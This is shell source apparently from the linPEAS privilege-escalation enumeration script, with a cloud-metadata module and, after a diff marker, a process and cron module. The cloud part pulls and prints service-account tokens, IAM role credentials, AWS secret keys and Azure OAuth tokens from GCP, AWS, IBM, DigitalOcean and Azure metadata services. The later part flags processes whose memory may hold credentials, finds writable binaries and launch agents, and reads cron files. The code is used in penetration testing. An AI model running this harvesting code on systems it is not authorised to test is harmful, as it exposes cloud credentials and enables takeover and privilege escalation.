GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append"
GCP_BAD_SCOPES="/cloud-platform|/compute"
exec_with_jq(){
if [ "$(command -v jq)" ]; then
$@ | jq 2>/dev/null;
if ! [ $? -eq 0 ]; then
$@;
fi
else
$@;
fi
}
check_gcp(){
is_gcp="No"
if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then
is_gcp="Yes"
fi
}
check_do(){
is_do="No"
if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then
is_do="Yes"
fi
}
check_ibm_vm(){
is_ibm_vm="No"
if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then
curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1
if [ "$?" -eq 0 ]; then
IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) )
is_ibm_vm="Yes"
fi
fi
}
check_aws_ecs(){
is_aws_ecs="No"
if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then
is_aws_ecs="Yes";
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4;
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
elif (env | grep -q ECS_CONTAINER_METADATA_URI); then
is_aws_ecs="Yes";
aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI;
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then
is_aws_ecs="Yes";
fi
if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then
aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
fi
}
check_aws_ec2(){
is_aws_ec2="No"
is_aws_ec2_beanstalk="No"
if [ -d "/var/log/amazon/" ]; then
is_aws_ec2="Yes"
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
else
EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then
is_aws_ec2="Yes"
fi
fi
if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then
is_aws_ec2_beanstalk="Yes"
fi
}
check_aws_lambda(){
is_aws_lambda="No"
if (env | grep -q AWS_LAMBDA_); then
is_aws_lambda="Yes"
fi
}
check_aws_codebuild(){
is_aws_codebuild="No"
if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then
is_aws_codebuild="Yes"
fi
}
check_az_vm(){
is_az_vm="No"
if [ -d "/var/log/azure/" ]; then
is_az_vm="Yes"
elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then
is_az_vm="Yes"
fi
}
check_az_app(){
is_az_app="No"
if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then
is_az_app="Yes"
fi
}
check_gcp
print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_ecs
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_ec2
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_lambda
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_aws_codebuild
print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_do
print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_ibm_vm
print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_az_vm
print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
check_az_app
print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
echo ""
if [ "$is_gcp" = "Yes" ]; then
gcp_req=""
if [ "$(command -v curl)" ]; then
gcp_req='curl -s -f -H "X-Google-Metadata-Request: True"'
elif [ "$(command -v wget)" ]; then
gcp_req='wget -q -O - --header "X-Google-Metadata-Request: True"'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
# GCP Enumeration
if [ "$gcp_req" ]; then
print_2title "Google Cloud Platform Enumeration"
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security"
## GC Project Info
p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
[ "$p_id" ] && echo "Project-ID: $p_id"
p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
[ "$p_num" ] && echo "Project Number: $p_num"
pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys')
[ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k"
p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true')
[ "$p_attrs" ] && echo "All Project Attributes: $p_attrs"
# OSLogin Info
osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users)
[ "$osl_u" ] && echo "OSLogin users: $osl_u"
osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups)
[ "$osl_g" ] && echo "OSLogin Groups: $osl_g"
osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys)
[ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk"
osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize)
[ "$osl_au" ] && echo "OSLogin Authorize: $osl_au"
# Instance Info
inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description)
[ "$inst_d" ] && echo "Instance Description: "
inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname)
[ "$inst_hostn" ] && echo "Hostname: $inst_hostn"
inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
[ "$inst_id" ] && echo "Instance ID: $inst_id"
inst_img=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/image)
[ "$inst_img" ] && echo "Instance Image: $inst_img"
inst_mt=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/machine-type)
[ "$inst_mt" ] && echo "Machine Type: $inst_mt"
inst_n=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/name)
[ "$inst_n" ] && echo "Instance Name: $inst_n"
inst_tag=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/scheduling/tags)
[ "$inst_tag" ] && echo "Instance tags: $inst_tag"
inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
[ "$inst_zone" ] && echo "Zone: $inst_zone"
inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location")
[ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc"
inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name")
[ "$inst_k8s_name" ] && echo "K8s Cluster name: $inst_k8s_name"
inst_k8s_osl_e=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/enable-oslogin")
[ "$inst_k8s_osl_e" ] && echo "K8s OSLoging enabled: $inst_k8s_osl_e"
inst_k8s_klab=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-labels")
[ "$inst_k8s_klab" ] && echo "K8s Kube-labels: $inst_k8s_klab"
inst_k8s_kubec=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kubeconfig")
[ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec"
inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env")
[ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv"
echo ""
print_3title "Interfaces"
for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
echo ""
print_3title "User Data"
echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script")
echo ""
echo ""
print_3title "Service Accounts"
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/email")
echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/aliases")
echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/identity")
echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/$sa/token")
echo " ============== "
done
fi
fi
# AWS ECS Enumeration
if [ "$is_aws_ecs" = "Yes" ]; then
print_2title "AWS ECS Enumeration"
aws_ecs_req=""
if [ "$(command -v curl)" ]; then
aws_ecs_req='curl -s -f'
elif [ "$(command -v wget)" ]; then
aws_ecs_req='wget -q -O -'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$aws_ecs_metadata_uri" ]; then
print_3title "Container Info"
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
echo ""
print_3title "Task Info"
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
echo ""
else
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
fi
if [ "$aws_ecs_service_account_uri" ]; then
print_3title "IAM Role"
exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
echo ""
else
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
fi
fi
# AWS EC2 Enumeration
if [ "$is_aws_ec2" = "Yes" ]; then
print_2title "AWS EC2 Enumeration"
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$aws_req" ]; then
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
print_3title "Account Info"
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
echo ""
print_3title "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
print_3title "IAM Role"
exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
print_3title "User Data"
eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
echo ""
echo "EC2 Security Credentials"
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
print_3title "SSM Runnig"
ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED},"
fi
fi
# AWS Lambda Enumeration
if [ "$is_aws_lambda" = "Yes" ]; then
print_2title "AWS Lambda Enumeration"
printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME
printf "Region: "; env | grep AWS_REGION
printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY
printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID
printf "Session token: "; env | grep AWS_SESSION_TOKEN
printf "Security token: "; env | grep AWS_SECURITY_TOKEN
printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
fi
# AWS Codebuild Enumeration
if [ "$is_aws_codebuild" = "Yes" ]; then
print_2title "AWS Codebuild Enumeration"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O -"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
echo "The addresses are in /codebuild/output/tmp/env.sh"
fi
if [ "$aws_req" ]; then
print_3title "Credentials"
CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
print_3title "Container Info"
METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
fi
fi
# DO Droplet Enumeration
if [ "$is_do" = "Yes" ]; then
print_2title "DO Droplet Enumeration"
do_req=""
if [ "$(command -v curl)" ]; then
do_req='curl -s -f '
elif [ "$(command -v wget)" ]; then
do_req='wget -q -O - '
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$do_req" ]; then
URL="http://169.254.169.254/metadata"
printf "Id: "; eval $do_req "$URL/v1/id"; echo ""
printf "Region: "; eval $do_req "$URL/v1/region"; echo ""
printf "Public keys: "; eval $do_req "$URL/v1/public-keys"; echo ""
printf "User data: "; eval $do_req "$URL/v1/user-data"; echo ""
printf "Dns: "; eval $do_req "$URL/v1/dns/nameservers" | tr '\n' ','; echo ""
printf "Interfaces: "; eval $do_req "$URL/v1.json" | jq ".interfaces";
printf "Floating_ip: "; eval $do_req "$URL/v1.json" | jq ".floating_ip";
printf "Reserved_ip: "; eval $do_req "$URL/v1.json" | jq ".reserved_ip";
printf "Tags: "; eval $do_req "$URL/v1.json" | jq ".tags";
printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features";
fi
fi
# IBM Cloud Enumeration
if [ "$is_ibm_vm" = "Yes" ]; then
print_2title "IBM Cloud Enumeration"
if ! [ "$IBM_TOKEN" ]; then
echo "Couldn't get the metadata token:("
else
TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
ACCEPT_HEADER="Accept: application/json"
URL="http://169.254.169.254/latest/meta-data"
ibm_req=""
if [ "$(command -v curl)" ]; then
ibm_req="curl -s -f -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
elif [ "$(command -v wget)" ]; then
ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$ibm_req" ]; then
print_3title "Instance Details"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
print_3title "Keys and User data"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
print_3title "Placement Groups"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
print_3title "IAM credentials"
exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
fi
fi
fi
# Azure VM Enumeration
if [ "$is_az_vm" = "Yes" ]; then
print_2title "Azure VM Enumeration"
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
az_req=""
if [ "$(command -v curl)" ]; then
az_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
az_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$az_req" ]; then
print_3title "Instance details"
exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
print_3title "Load Balancer details"
exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
print_3title "Management token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
print_3title "Graph token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
print_3title "Vault token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
print_3title "Storage token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
fi
fi
if [ "$check_az_app" = "Yes" ]; then
print_2title "Azure App Service Enumeration"
echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
HEADER="secret:$IDENTITY_HEADER"
az_req=""
if [ "$(command -v curl)" ]; then
az_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
az_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$az_req" ]; then
print_3title "Management token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
print_3title "Graph token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
print_3title "Vault token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
print_3title "Storage token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
fi
fi

View File

@@ -1,306 +0,0 @@
####################################################
#-----) Processes & Cron & Services & Timers (-----#
####################################################
#-- PCS) Cleaned proccesses
print_2title "Cleaned processes"
if [ "$NOUSEPS" ]; then
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
fi
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes"
if [ "$NOUSEPS" ]; then
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
pslist=$(print_ps)
else
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
cpid=$(echo "$psline" | awk '{print $2}')
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
fi
fi
done
pslist=$(ps auxwww)
echo ""
#-- PCS) Binary processes permissions
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes"
binW="IniTialiZZinnggg"
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
if [ -w "$bpath" ]; then
binW="$binW|$bpath"
fi
done
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
fi
echo ""
#-- PCS) Files opened by processes belonging to other users
if ! [ "$IAMROOT" ]; then
print_2title "Files opened by processes belonging to other users"
print_info "This is usually empty because of the lack of privileges to read other user processes information"
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
echo ""
fi
#-- PCS) Processes with credentials inside memory
print_2title "Processes with credentials in memory (root req)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#credentials-from-process-memory"
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
echo ""
#-- PCS) Different processes 1 min
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#frequent-cron-jobs"
temp_file=$(mktemp)
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
echo ""
fi
#-- PCS) Cron
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs"
command -v crontab 2>/dev/null || echo_not_found "crontab"
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
incrontab -l 2>/dev/null
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
atq 2>/dev/null
echo ""
if [ "$MACPEAS" ]; then
print_2title "Third party LaunchAgents & LaunchDemons"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
echo ""
print_2title "Writable System LaunchAgents & LaunchDemons"
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
program=""
program=$(defaults read "$f" Program 2>/dev/null)
if ! [ "$program" ]; then
program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
fi
if [ -w "$program" ]; then
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
done
echo ""
print_2title "StartupItems"
